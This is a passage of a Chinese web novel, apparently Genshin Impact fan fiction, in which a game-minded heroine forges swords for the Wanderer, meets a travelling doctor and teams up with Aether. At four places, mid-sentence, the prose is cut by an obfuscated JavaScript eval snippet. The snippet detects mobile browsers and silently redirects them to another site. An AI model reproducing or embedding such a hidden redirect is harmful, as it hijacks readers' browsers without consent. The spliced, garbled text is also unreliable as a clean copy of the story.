正常来说,一把名刀哪怕是在御影炉心的加持下,也需要数日的淬火与打磨。 小游戏也需要等待时间。 【倒计时:72小时】 开什么玩笑,她送礼能等三天? 光缡果断点开旁边的加号: 【是否消耗魔晶矿×100,进行一键加速?】 【是!】 “好了!来看看这次的成品!”光缡突然兴奋地宣布。 散兵错愕地抬起头:??? 这就好了?距离她把矿石扔进去,才过去了不到一柱香的时间! 光缡:亿点点消耗矿石加速时间,朋友 光缡很想早点把好感度礼物做出来送给倾奇者。 如果他喜欢,那就做出来一堆备着,直到发现下一种增加更多的好感度礼物。 “锵——!” 散兵视角,光缡直接徒手从炉火中抽出了五把寒光内敛、锋锐无匹的极品太刀。 她疯了吗! 可看着她手上没有受伤,又狐疑地将担心收了回去。 她锻刀就像她做饭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17449518|201131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,过程相当胡来,但结果却总是好的。 光缡很满意这次的成果。 这一次她的运气极佳,五把全是最高的品质! 光缡挑出其中面板属性最高、还附带了暴击词条的那把“真打”,递到散兵面前:“喏,这个送给你!” 一旁的工匠们立刻爆发出了热烈的惊呼。 “哎呀!光缡小姐居然把真打送给倾奇者了!” “光缡大人太厉害了!” “光缡大人是百年难遇的天才!” 工匠们齐刷刷地开始鼓掌,动作整齐划一,连鼓掌的频率和脸上夸张的笑容都分毫不差。就像是一群被输入了特定程序的机械人偶。 散兵细细看过这批出炉的刀。 尽管微弱,但已经附着了祟神之力。 他记得,御舆光缡使用的是自己的材料,并不是八酝岛开采的晶化骨髓。 这股祟神之力,来自多托雷改造过的炉心。 散兵一阵紧张。 四百年前,被多托雷改造后的御影炉心,加大了对祟神之力的提取,很快便显露出端倪,最严重的时候,甚至都无人敢靠近这里。 这台始终燃烧运行着的炉心,最后还是由他深入关闭。 他绝不能再让这样的事情发生。 面对潮水般的溢美之词,光缡习以为常,她将剩下四把刀交给旁边的工匠,换了一大袋沉甸甸的摩拉。她随手将摩拉丢尽四次元背包。 随后她又拿出那把最好的刀,递到散兵面前:“这个送给你。” 为什么御舆光缡这么执着要送给他刀呢? 他身上可没有钱,一块摩拉都没有,根本无法给予等价的回报。 不过,也许正因为没钱,这女人才大方施舍? 散兵将信将疑地接过。 “谢谢?” 光缡凑来,期待地等着。 散兵:?我没有钱啊? 等了一会儿,光缡失落地离开了。 怎么没加好感度呢…… 难道看不上吗,他居然不喜欢…… 有点点被打击到了…… 光缡像只被淋湿的小狗,蔫了下去。 不行,往好处想啊光缡。 至少他也没有扣好感度,对吧。 说明只是不讨厌,也不喜欢。 …… 果然还是得送刀镡吧! 也许他想要的,是那种能亲手锻刀的参与感! 我们这就出去把奇怪的海乱鬼打回来当锻刀材料! 这时候,倾奇者点了点光缡的肩膀,递来掌心。 摊开以后是一个刀镡,和光缡平常捡到的那种材料不同,看上去质感极佳。 “倾奇者,我想请你帮个忙。” “御舆小姐,这是给你的回礼。” 两人异口同声。 随后又是同时一愣。 光缡:游戏角色给她送礼物?在十点好感度的情况下?送的还是刀镡?他就是喜欢这个东西吧? 散兵:他身上值钱的东西就只有这个了,御舆光缡该不会不要吧? 散兵忐忑起来。 这是丹羽刚刚送他的东西,会不会因为这个御舆光缡才不愿意要吧。 他不觉得丹羽会因此有些什么情绪,看他平常对御舆光缡的欣赏程度,大概还觉得有趣吧。 想着御舆光缡的恋爱观,他一下又想,应该送给更符合喜好的礼物好些? 散兵收回手心,却被御舆光缡拉住。 她的脸颊红扑扑的:“倾奇者,你真的很喜欢锻刀相关的事物呢,我也……喜欢。” 那正好了,散兵想着,也许她可以用这个信物拜师丹羽。 那么他送出去,也不算浪费丹羽的心意。 等等……! 御舆光缡说这话是什么意思? 什么叫“我也喜欢”?这句话,他现在听到了太容易产生误解啊。 散兵大觉不妙。 15. 第 15 章 尤其是结合丹羽此前那些发言……该说幸好御舆光缡不知道他和丹羽的对话内容吗?否则,这简直就是毫无保留的明示。 散兵一下子觉得棘手起来。 如果将此前发生的种种,都强行套用在“御舆光缡喜欢他”这个前置条件下,居然都有能说得通的逻辑。 她毫无保留的信任、莫名其妙的亲近,甚至连面对危险时下意识的回护,都变得有迹可循。 不不不,这怎么可能。 他们才认识多久?人类的情感纵然如朝露般易碎,也不该如此轻率。 散兵在心底竭力否认。 可偏偏,这个念头一旦冒出,就再也无法从脑海中彻底根除了。 如果他现在的身份是愚人众执行官,大可冷嘲热讽地来上一句“滚开”,就能轻而易举地斩断所有非分之想。 可他现在偏偏是倾奇者。 该死,这要怎么应对? 现在假装他是不懂感情的人偶,也太晚了。 不,那就是一个毫无根据的猜想,不值得分取他这么多的注意力。 “倾奇者?你怎么不说话了?” 光缡有些疑惑地凑近了些,“你突然变得好严肃,是不是想起来什么要紧事没做?” 她微微歪着头,目光直白地落在他脸上。长发顺着脸侧垂落,几根发丝随着微风飘到他的视线边缘。 她的头发,原来一直这样长吗? 他迅速和光缡错开目光,不想被她看穿自己内心翻涌的杂念。 “没什么。” 他将刀镡塞进光缡的手心。 相触的瞬间,他的指尖不可避免地擦过她温热的掌心。 “锻刀我是有些兴趣,但是比起御舆小姐,肯定还有所不及。这块刀镡送给你,就当是……祝你今后锻刀顺利。” “这样啊……那这个礼物,我就不客气地收下啦。”光缡很开心。 不管倾奇者刚才那瞬间的不自然是因为什么,这可是自推给她的第一个实体礼物! 在游戏里,这绝对是开启个人羁绊剧情的重要信物,很有纪念意义的。 倾奇者刚才的反应很含糊,光缡暗自琢磨,这难道是某种隐藏的好感度机制触发了? 她决定还是再观察观察。 散兵不知道光缡正在想什么,他急需一个正当的理由来打破此刻微妙的氛围。 尽管是他脑补的,是他才觉得很微妙。 散兵主动岔开话题:“御舆小姐,你说需要我帮忙,是什么事?” 光缡也不客气:“其实是两件事,一件是问一问工匠们知道不知道云游医生这个人,知道的话他一般在哪里活动。 “再就是我过来炉心这边的时候,遇到了一个很奇怪的海贼。” 光缡详细描述了那个海贼的异常状态。 她隐去了读档重来的经历,只说总有人在背后放冷箭,被她侥幸躲过了几次偷袭。 “还有,他身上的气息,和我们昨天打败的那个人类恶鬼很相近,但又不太一样,你见了就懂了。” 听到这里,散兵已经有了些许猜测。 御舆光缡的几次死亡,是被这个人偷袭致死的。 找出这个人是谁,现在很要紧。 “我明白了御舆小姐,我们先向工匠们打听情报,之后再去找有状况的海贼,可以吗?” 光缡没什么意见:“那就这样,我去问问那边的工匠们。” - 一轮询问下来,两人凑在一起对了对彼此收集到的信息。 那位云游医生确有其人,只是在踏鞴砂一带活动较少。他主要针对的是八酝岛的祟神病,进行义诊和治疗。 有一些负责采买矿石的商贩透露,晶化骨髓是魔神遗骸化成,内部附有浓烈的魔神残渣。 普通人接触久了,就会感染祟神病,症状通常表现为:发狂、攻击性变强、精神失常、身上长出可怖的创瘢等等。 例如,一直追求锻造出“斩人剑”的赤目家,就需要调节玉钢中的祟神力量。常年接触下来,那家的工匠身上大多都留有这种创瘢。 不过岛上常年布设着镇物,祟神病的症状一般都会被压制,不至于立刻致命或异化。 只是,关于云游医生经常活动的具体居所,工匠们表示他们也都是道听途说,听八酝岛的矿工们闲聊时提起的,更具体的位置就不清楚了。 他们不知道,但是有一个人,一定知道。 背包里的矿工。 散兵也是想到了这点,斟酌了一下措辞,用尽可能“我什么都不知道,只是好奇问问”的语气道:“那个矿工还活着吗?” “他好着呢。” 背包栏里,代表矿工的图标上显示着【新鲜度:89%】,图标角落甚至还贴心地提供了一个【销毁/杀害】的快捷选项。 为什么还有新鲜度? 光缡摸出一点料理喂给矿工的格子,他的新鲜度恢复到了100%。 矿工被放了出来。 奇迹般地,经过一夜的静止存放后,那些可怖的晶体隐隐褪去了大半,露出了原本属于人类的灰败面容。 矿工被绳子捆得严严实实,剧烈地咳嗽着,迷茫睁开眼睛,惊恐不安地四下张望着。 “这是哪里?你们、你们是谁?为什么绑架我?!我没有钱!” 光缡蹲下身,与他视线齐平三言两语道破了他昨夜化身晶体怪物、差点死在名椎滩的惨状。 原本还迷茫惊恐的矿工,瞬间面无人色,抖如筛糠:“怪、怪物?!我不是怪物!我只是想多赚点摩拉养家啊!” 散兵敏锐地捕捉到了关键信息,上前一步:“详细说说。” 矿工咽了口唾沫,颤巍巍地回忆起来:“我、我只是个挖矿苦力!前阵子实在熬不住,吃过同乡给的‘提神药’。 “后来身上就开始长这些矿区常见的紫斑……有人说西边悬崖新来了一位叫扎希尔的须弥医生,专门免费治这种病。他的药确实能压制紫斑,我昨天本来就是要去找他的,谁知半路就、就什么都不知道了……” 吃了不知名的药,又找云游医生压制,最后在寻医路上彻底异化。 线索又到了那位医生身上。 “快带我去看医生!只有扎希尔医生能救我了!求求你们!”矿工绝望地哀嚎着。 光缡看向散兵,两人在半空中交换了一个心照不宣的眼神。 散兵:“你来决定吧。” 是先去收拾海乱鬼,还是先去探一探医生的虚实。 光缡得到答案,又转回去对矿工说道:“云游医生我们之前就去找他了,可他似乎不经常在屋内,你知道他在哪里吗?” 矿工连连点头:“知道知道!我带你们去!两位恩人,这绳子能不能……” 光缡帮他解开了绳子:“别想着乱跑,万一再变成怪物,伤害到别人,我身后的这位小哥可绝对不会轻饶你的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17449519|201131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “两位救了我性命,我又怎么能恩将仇报呢?”矿工感激地说。 散兵走在后面,心底的疑云已经浓郁到了极点。这一切太巧合了,那个医生,绝不是什么悬壶济世的大善人。 但光缡显然没有散兵那么多弯弯绕绕的心思,她只知道自己的任务还没交。 “行吧,那就带你去找那个医生看看。”光缡一把将矿工提溜起来,“我们走。” - 矿工带着他们一路向东,走进一处偏僻的山林。这里人迹罕至,只有鸣草成片。 深入山林不久,渐渐看到了一个背对着他们的身影。 那人穿着典型的须弥学者服饰,正蹲在地上捣鼓着什么。 散兵下意识地加快脚步,挡在光缡身前。 “你等一下不要离我太远。”他压低声音,“如果有情况……我让你跑,你就立刻走,绝对不要回头。记住了吗?” 看到了人影,散兵觉得那多半不会是多托雷,但还是不敢大意。 人类祟神化太像他会干的事情了。 “跑什么,我当然也要战斗。” 光缡从他身后探出脑袋,在他旁边站定,“我怎么能放心你一个面对危险?所以那个医生果然有问题是吗?” “不行,你一定要照我说的做。” “为什么,你必须给出一个能说服我的理由。” 散兵沉闷地叹了声气,下意识去抓帽檐,又想起来他现在不戴帽子,手尴尬地举在半空,被他拐了个弯,放在光缡肩膀上拍了拍。 “倾奇者”认真道:“你死了会很……”烦。 “很困扰。” “倾奇者”调整了一下措辞,收回按在她肩上的手。 “我的后背……就交给你了。当然,也许是我多虑,战斗根本不会展开。” “既然你都这样说了……好!你的后背就交给我吧!” 光缡精神气满满。 不过后半句话,在心里她没说。 到时候真的打起来,不还是她一人应付全部的敌人吗,根本没有后背可言。 但是,自推都说放话了,一点仅存于剧情里的面子,还是给他吧。 他真的是个很好的人啊,这才认识多久,就会关心她的安危了。 说来,他们现在的关系就是知道对方名字的熟人而已。 “扎希尔医生!”矿工呼喊着他的名字,热切地跑过去。 “医生你快给我看看吧,有人说我的祟神病变得更严重了,还变成了……变成了怪物!” 穿着须弥服饰的男人转过身,没有丝毫废话,开始给矿工检查身体。 他从随身携带的背包中拿出药膏和试管药剂,当场帮忙涂抹在矿工溃烂的皮肤上,又亲眼盯着他喝下药水,这才放心了下来。 散兵站在几步开外的树影里,目光死死盯着这个医生。 没有任何问题,他就是一个普通医生。 难道自己猜错了? 就在散兵暗自思忖时,光缡的视野中突然爆发出一阵神圣的金光。 【变异病患已成功收容。】 【任务奖励结算:】 【摩拉× 500000】 【稀有机关图纸× 1】 钱到账了! 对于玩家来说,检验一个NPC是好是坏的唯一标准,就是看他给不给奖励,给得多不多。 医生你一定是好人! 16. 第 16 章 “看起来没有什么问题,那个矿工还向我们挥手呢。” 光缡也笑着对矿工挥了挥手,“你怎么想,倾奇者?” 散兵神情凝重:“我不知道。眼睛告诉我,这一切都没有问题,可我却并不想相信。” 光缡也跟着思考起来:“嗯……但是他确实在帮忙救助这些矿工。”现在就把他杀了,总觉得太亏了。 还有7份奖励没有领完呢。 至于医生到底是不是坏人,她不在乎,或者说她没有那么在乎。 是好人很好,是坏人那就领完奖励再砍。 发奖励的NPC是有价值的NPC。 不远处,医生替矿工包扎妥当,扶着他在树下靠好,随后主动朝两人走了过来。 散兵表面上未露分毫,却随时做好了战斗准备。 医生说了一番感谢的话,然后叮嘱道:“如果之后你们还发现了有类似症状的人,就让他们来见我。” 散兵再次仔细观察过医生。 褐发,中年人,眼窝深邃,是很典型的须弥人相貌。 手部骨节粗大,虎口和中指有常年握笔留下的老茧。指甲边缘泛着一层不健康的微紫,像是处理鸣草留下的色素沉积。除了浓重的草药味,他身上还萦绕着一种清苦的辛香。 散兵在须弥的那段日子里,经常闻到这种味道。 那是教令院学者为了提神醒脑特制的一种精油。他们习惯将其涂抹在太阳穴或鼻尖,气味刺鼻,功效很好,所以很受欢迎。 扎希尔毫无破绽。 但这还不够散兵说服自己。 “倾奇者”上前一步,好奇又崇拜道:“扎希尔医生,矿工病得这样重,您却能让他迅速平复,医术真是精湛。不过……我刚才看您使用的药剂,似乎并不属于稻妻本地的传统配方?” 扎希尔很谦虚:“您过誉了,我只是一个学者。来稻妻之前,我翻阅过许多关于‘祟神病’的记载。配制出这套药剂后,便想着来稻妻做些临床观察,目前来看,运气还算不错。” “原来是教令院的学者,难怪如此渊博。” 散兵弯起眼眸,笑容越发纯良温和,“不过,我曾听一些路过的游商提起过一种奇闻……据说须弥一些学者认为,祟神之力反而能用来打破人类孱弱的躯壳,给予人类强化自我的新生。不知扎希尔医生,对这种理念有何高见?” 散兵隐秘地藏起眼中的杀意。 只要这个医生眼中闪过一丝狂热、躲闪,或是任何属于多托雷一派的同谋者气息,他都会立刻拧断对方的脖子。 然而,医生听到后,原本温和的神色瞬间沉了下来,变得极为严肃甚至带了几分厌恶: “我不知道您是从哪里听来这种疯言疯语的,但我绝不认可这种亵渎生命的研究!我也奉劝二位,千万不要相信这世上会有毫无代价的馈赠。” 看来他不是。 散兵放心下来。 “倾奇者”立刻顺着台阶低下头,充满歉意:“是我听信了荒诞传言,用这种言论冒犯您,实在抱歉。” “不知者无罪。”医生摆了摆手,怒气稍平,“就到这里吧,我还要带矿工回去医治,如果你们之后遇到了同样症状的病人,都可以让他们来找我。失陪了。” 医生离开了。 望着他离开背影,散兵轻声道:“就当我想多了吧。那么,接下来……” - 光缡在小地图上标了点,他们很快就赶到了奇怪海乱鬼所在的地方。 “就是这里!”光缡远远指那个方向,一副“大哥就是他欺负我”的告状姿态,“就是他!” 可……那个海乱鬼已经睡倒在地上了。 “这是你们的猎物?抱歉,被我抢先一步了。” 伴随着清脆的收剑入鞘声,一名金发麻花长辫的少年转过身来。 “你们好。”少年的声音清朗悦耳,“我是个路过的旅行者,叫我‘空’就好。” 空笑容温和,气场耀眼,看起来像是游戏主角一般强大。 不止是强大,还可能是很神秘。 光缡暗下推测。 她看到每个角色头顶上的名字和血条,这是系统赋予她的特权。 可是,空头顶的名字标签却像是一团被水墨晕开的乱码,虚浮不定,哪怕他已经做过了自我介绍。 空在他们面前站定,看向光缡时仍旧保持着温和的笑意,看向散兵时,目光凝注了一瞬。 他移开得非常快,并且迅速岔开了话题:“刚才这个海乱鬼突然发狂攻击我,我才不得不与他交手。” 光缡有些紧张:“那个海乱鬼没死吧?” “没有,我只是将他打晕了。” “你为什么会在这里?”散兵用着倾奇者的口吻切入话题,“一个人在荒郊野外很危险吧?” 散兵知道空看出了什么。 同样地,他也在空出现的那一刻,发现了那把剑上浸透着的深渊力量。 空迎上散兵的目光,坦然道:“是很危险呀,实不相瞒,我和上一个同伴失散了,正在寻找可以一起行动、志同道合的人。 “两位,意下如何?” 散兵立刻代为光缡回绝:“可以接受临时组队,我们并非旅者,应该不会跟随你去很远的地方,只是在踏鞴砂一带的行动,倒是可以与你一起,御舆小姐,你觉得呢?” “我也是这么觉得的,我也在短期内没有离开踏鞴砂的打算。” 光缡认可了散兵的说辞,“那么空,愿意的话,可以和我们组队吗?” 空:“嗯,那么接下来在踏鞴砂,就请二位多多关照了。” 【玩家‘空’已成功加入队伍】 【该玩家等级较高,不会向下兼容等级】 玩家空? 光缡定睛看了看,确认没有看错。 光缡大受震撼:“你为什么会在这里?” 空眨了眨眼,语气带着一丝促狭:“因为你开放了权限?我就来了?” 然后,他像是想到了什么似的,又笑了起来,熟练地抛出经典台词,“有什么可以帮忙打的吗?” “那可太有了。”光缡重重点头。 “我的大世界宝箱、世界任务、圣遗物副本、周本boss全部都交给你了,空大佬!” “哇,的确是不小的挑战,”空佯装被吓到,身子微微向后仰了仰,“那我们现在就开始清图?” “现在等一下!还有一个任务要提交。” 光缡走到海乱鬼旁边,随意踢了一脚,这样也就算她参与了击杀。 几个光球掉了出来,是刀镡。 她收进背包,今天已经给倾奇者送过礼物了,要送就只能等到明天才行。 她把晕倒的海乱鬼塞进背包:“我们走!倾奇者,你也跟上。” 在和空说了一大堆散兵插不进去嘴、也不太能听懂的话以后,终于在话题结束的时候捎带上了他。 御舆光缡神采奕奕的,正在和空交流着什么心得,每每空说到怎么处理时,御舆光缡就会露出恍然大悟、原来如此的表情。 散兵跟在他们身后。 他不明白,御舆光缡为什么能在短短几分钟的时间里,就对空产生如此极端的信任?这完全不符合常理。 但他不敢将注意力从御舆光缡身上移开半分。 一来,是不想她又死了然后时间重置; 二来,深渊的人主动示好原因不明,目的绝对不纯,无论如何都不能放松警惕; 至于第三点……看着御舆光缡终于对别的人产生了强烈的兴趣,而他却像个局外人一样被晾在一旁。 有一堵无形的墙壁将他们隔绝开,始终保持着距离。 先前,是御舆光缡死皮赖脸地穿过那堵墙,强行挤进他的世界;可现在,当她欢快地退回属于她自己的“世界”时,他却发现自己根本无权踏足。 那是一种被更高维度的法则排斥在外的、令人绝望的距离感。 御舆光缡和空其实并没有刻意排挤他,他们甚至偶尔会回头照顾他的步伐。但这恰恰是最可悲的。 因为从本质上,他与他们存在着某种无法跨越的差异,注定无法加入那边的欢声笑语。 御舆光缡不再烦他,他本该觉得清净。 可真到了这一刻,这种被隔绝的距离感,像毒蛇一样啃噬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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更何况,上一次他仅仅是和这女人短暂分开,她就能一口气死上三次。 无论如何,他都必须把这个麻烦精死死按在眼皮子底下。 散兵将胸腔里翻涌的郁气强压下去,戴上“倾奇者”的面具,努力忍住咬牙切齿的冲动,弯起眉眼,露出一个温柔的微笑: “御舆小姐送我的这把刀,我还没来得及开刃。正好,我也想借此机会试一试手感。” “好耶,那就一起去吧!”光缡毫无察觉地欢呼道。 空带着他们,使用了一个叫传送锚点的东西。 光缡没有这个,于是空帮她在踏鞴砂和八酝岛放了很多。 他们来到一个叫【无相之火】的元素怪物前。 空:“光缡,我教你的都记住了吗?” 光缡点头:“记住了,大佬。” 空:“那就上吧!” 光缡不太自信:“你不一起吗?我感觉我打不过……我没玩这个游戏太久,装备和操作都不太好。” “是要击败这个怪物吗,御舆小姐。我可以效劳。”散兵见缝插针道。 空立即制止了他:“倾奇者,这是给光缡的个人历练,就让她先一个人来吧。” 空又调头,对光缡道:“等你打不过我再上。” 散兵:……他已经做好时间重置的准备了。算了,到时候他还是去救她吧。 光缡:“好!那我就先上了!” 结果她甚至没能撑到散兵出手相救,直接被一招秒杀。 意料之内的惨败。 散兵已然习惯。 黑雾散去,战场归于死寂。 散兵双臂交叉抱于胸前,等待御舆光缡重置时间回来。 空却转过身来,笑容像被风吹散的薄雾,某种更深邃、更神秘的平静显露出来。 “好了。不该知道秘密的人已经不在场了。” 空的声音依旧温和,视线直直落在散兵身上,那双金色的眼睛里,再没有半点随意。 “你似乎有很多事情想问我。而我,也很好奇,你是怎么绕过雷神的封印,获得这份力量的, “执行官大人?” 17. 第 17 章 “……呵。深渊王子殿下,你讲话可真是开门见山啊。” 散兵索性撕下伪装,回敬了个洞悉一切的冷笑。 “嗯,算是吧。” 空姿态放松地看着光缡刚刚消失的地方,对挑衅毫不在意,“毕竟我很清楚,只要她一死,你就会被迫跟着进入‘时间重置’。” “就只是知道这种程度?”散兵不屑一顾。 “我本就没打算瞒过你。省省口舌,别把精力浪费在无谓的试探上了。”空语气平缓却不容置疑,“赶在她的时间重置发动前,我们时间有限。来吧,交换情报。从谁开始?” 散兵也不跟他客气,目光直刺过去:“你来踏鞴砂做什么?我提前把话放在这,如果你的目的与我背道而驰,我绝对不会放过你。” “我只是发现这里多出了两个本不该存在的人,特意过来确认一下罢了。倒是你,你的力量从何而来?” 散兵顿了顿,目光紧紧锁住空:“御舆光缡分享给我的。来源我不清楚,但我使用起来无碍。你和御舆光缡到底在聊些什么?你们之间……似乎总处于一种我无法触及的维度里。” 那是某种凌驾于提瓦特法则之上的、近乎于“高维”视角的交流。 “这就涉及到权能与位格了。” 空不紧不慢地抛出重磅炸弹,“你也看出来了吧,她很特别。你难道就不好奇,她为什么会拥有这么高的位格吗?” 散兵“啧”了一声,冷笑:“呵,难道我问了你就会说?” 顿了顿,他还是忍不住直视空:“是什么?” 空看向远方,语气讳莫如深: “她被提瓦特的一位神明,极度偏爱着。 “那位神明,甚至愿意共享自己的权柄,为她赋予在这世间‘重塑时间与生死’的特权。” 神明? 散兵想到了多种答案。 操纵时间,重塑过去……提瓦特有这种权能的神明,难道是传说中那位时之执政?还是说,是须弥那位智慧之神? “御舆光缡是‘时之执政’的人?”散兵难掩惊讶。 空摇了摇头:“我不清楚。那位神明的状态非常特殊,当下没人知道祂在干什么,也无从得知祂的真实身份。” 空话锋一转:“那么,你又是怎么回到这里的?这可是四百年前。” “我不知道,等我醒来时人就已经在这里了。”散兵皱起眉头,紧接着追问出他眼下最关心的问题,“多托雷那边有没有异常?” “不好说。我倾向于他现在没有,但将来如何谁也说不准。”空定定地看向他,“你现在对上博士,有几成胜算?” “不足一成。”散兵坦言。 他随即看了一眼光缡消失的空地,烦躁地“啧”了一声:“御舆光缡怎么还没有回来?这次重置需要的时间太久了。” “这个嘛……”空耸了耸肩,“她可能还得要一会儿才能‘上线’了。” 散兵一脸不解。 空意味深长地补充道:“不用把我当成假想敌。顺便一提,我不会经常待在你们这边,你们的世界被坎瑞亚召唤是我妹妹。我只是个从别的世界路过的外来者,不想加入你们的纠葛。” 散兵问:“御舆光缡也是从你那边的世界过来的人?” 空没有直接回答。 他竖起一根手指抵在唇边,做了一个噤声的手势:“更多的我不能告诉你。你现在还处于考察期,没过关之前,我什么都不会说。” 散兵对他的故弄玄虚翻了个白眼:“既然如此,我要换一个问题。我需要你帮忙做一件事,一件只有你才能做到的事情。” - 此时,光缡待在标题画面的休息大厅,没有着急读档。 她切出游戏界面,调出社交软件,点开了银狼的对话框。 光缡:银狼,你知道玩什么游戏能快速提升操作水平嘛?大哭.JPG 光缡:谢谢,刚刚有被自己的水平菜到 光缡:要是只有我自己就算了,菜就菜吧!可是还有其他大佬玩家在场啊!那种下饭操作被人强势围观,真的好丢人!没脸看了都! 银狼的对话框顶端一直显示着“正在输入中”。过了一会儿,她甩过来一长串硬核动作游戏的名单。 银狼:怎么?终于打算走出休闲游戏的舒适区,来考验一下手部乘区了? 光缡:……虽然很想反驳休闲游戏也需要手部乘区,但算了,现在不是争论这个的时候 银狼:被杀怕了? 光缡:那倒没有,我玩攻略游戏还是有点天赋的,目前也就触发了一次被自推杀死的死亡 光缡:主要是这游戏居然有联机模式!一个满级大佬直接冲进我的世界带我乱杀 光缡:结果我自己上去开怪,被一招秒了!这是何等的社死! 银狼:加油。(拍拍) 光缡:不说了,我继续去玩了 银狼:挥手.JPG 光缡扫了一眼银狼推荐的游戏,果断打开某蒸汽平台。定睛一看,全是不在自己库存里的游戏,且全、是、原、价。 她当机立断,转头敲响对话框。 光缡:狼尊大大,求借个账号! 一番折腾,终于把练手游戏挂上后台下载后,光缡重新切回游戏。 【是否为您读档?】 【是。】 一霎间,她又回到了开打无相之火前的那一刻。 散兵和空一左一右守在她身侧。 画面十分和谐,看起来就像是一队正要讨伐魔物的正经冒险家。 “我又回来了!” 光缡揉了揉脸颊,鼓起勇气打破沉默,强行挽尊,“我刚才想了想,还是大家一起上吧,效率比较高!” 反正她打定主意了,只要有旁人在,她绝对不要再一个人上去逞强送人头了! “光缡,你回来了。”空微笑着打招呼,仿佛真的是个热衷带萌新的游戏大佬。 光缡点点头算是回应,随后转向散兵:“你要一起加入战斗吗?” “嗯,我们走吧。”散兵淡淡应答。既然已经和空达成了某种默契,他现在确实没有袖手旁观的必要。 有了两位大腿的加入,接下来的战斗简直是一边倒的屠杀。三人如同旋风过境,将所到之处的魔物清理得干干净净。 伴随着经验值暴涨的金光闪烁,光缡直接连升两级,顺利达到了25级。 时间在刷怪中飞逝,很快到了午后。地图上的资源几乎被清空,光缡暂时找不到需要讨伐的魔物了。 “还有什么地方能去吗?”光缡环顾四周,暗自思索。 今天的效率实在是高得离谱,能打的怪、能开的宝箱几乎全搞定了。 见光缡迟迟没有出声,散兵这才开口提议:“我有个地方想去。我想回御影炉心一趟。” “那我们就出发吧。”空立刻接上了话。 散兵其实有自己的盘算。 御舆光缡送给他的剑,经过这一下午的杀戮,祟神之力也在不断累积。 尽管目前仍旧很微弱,但难说未来不会爆发。 这件事他不想让御舆光缡知道,毕竟这把刀是她送的礼物,还是刚刚送的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17449521|201131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 让御舆光缡知道送出的礼物有问题,她大概不会开心。 他刚才向空提出的条件,就是需要空帮忙确认御影炉心中残存的魔神残渣数量。旅行者双子都有吸收深渊力量的能力,祟神之力中同样蕴含着悔恨与不甘,这点和深渊很相似。 最好的情况,是让空直接将其吸收掉。只是不知道,空如今的这具身体是否还能承受。 三人使用锚点传送至御影炉心。 散兵走在最前面,但紧随其后的光缡突然像撞上了一堵无形的墙,被迫停下了脚步。 “砰!” 光缡:“哎哟!这里怎么过不去?早上不还好好的吗!” 异变突生!散兵几乎是本能地,反手按住刀柄,身形一闪挡在前面。 有埋伏?! 一旁的空也敛去了温和的伪装,金眸微沉,随时做好战斗的准备。 空气中弥漫着一触即发的肃杀之气。 “御舆小姐,可以描述一下是什么拦着你吗?我什么都没有看到。” 光缡也有些着急了:“就是空气墙,昨天我们来踏鞴砂的时候也遇到了,当时没发进去是因为……” 因为任务提示,这里有大事发生,被封锁了。 光缡说到一半顿住。 光缡试着对空气墙交互。 【您尚未完成前置任务,无法在下午进入御影炉心】 “都先等一等,好像是我没有做任务……” “空,你知道这里的剧情要怎么开启吗?”光缡转头求助。 空没料到光缡会直接来问他,稍一愣神。 “我早就忘光了,抱歉。”空毫无心理负担地甩出了玩家的经典台词,随后收起戒备的状态。 散兵垂下握剑的手:“那接下来要怎么做?” 光缡:“别急,让我找找。” 光缡只能认命地打开任务列表,翻找了半天,终于在一堆繁杂的条目中找到了一条处于“进行中”的任务。 【与倾奇者结束会面后,御舆长正一如往常,有话要问你。】 “找到前置任务了,得回一趟御舆宅。”光缡宣布。 一行人只能再次折返。 光缡按照地面上发光的任务指引,一路走到走廊尽头的书房。 散兵在进入正殿之前就被守卫拦了下来,于是空也表示就在外面等她。 刚一踏入房间,身后的拉门就被侍从严丝合缝地关上了。 御舆长正端坐在桌前,缓缓放下手中的书卷。他挥了挥手,示意光缡坐下:“光缡,我们兄妹之间不必如此生疏。坐下来聊吧。” “哦,好。”光缡漫不经心地应着,人还没走到椅子前,就以已经做好了狂按【跳过】的准备。 然而,御舆长正的下一句话,让她顿时愣住,大脑宕机。 “你看到了他的‘真身’了吧。告诉我,那个自称倾奇者的人偶,到底藏了几重身份?” 光缡:???!!! 光缡情不自禁地战术后仰,倒吸了一口凉气。 她脑海中闪过初见倾奇者时,他头顶上那串异于常人的冗长昵称: 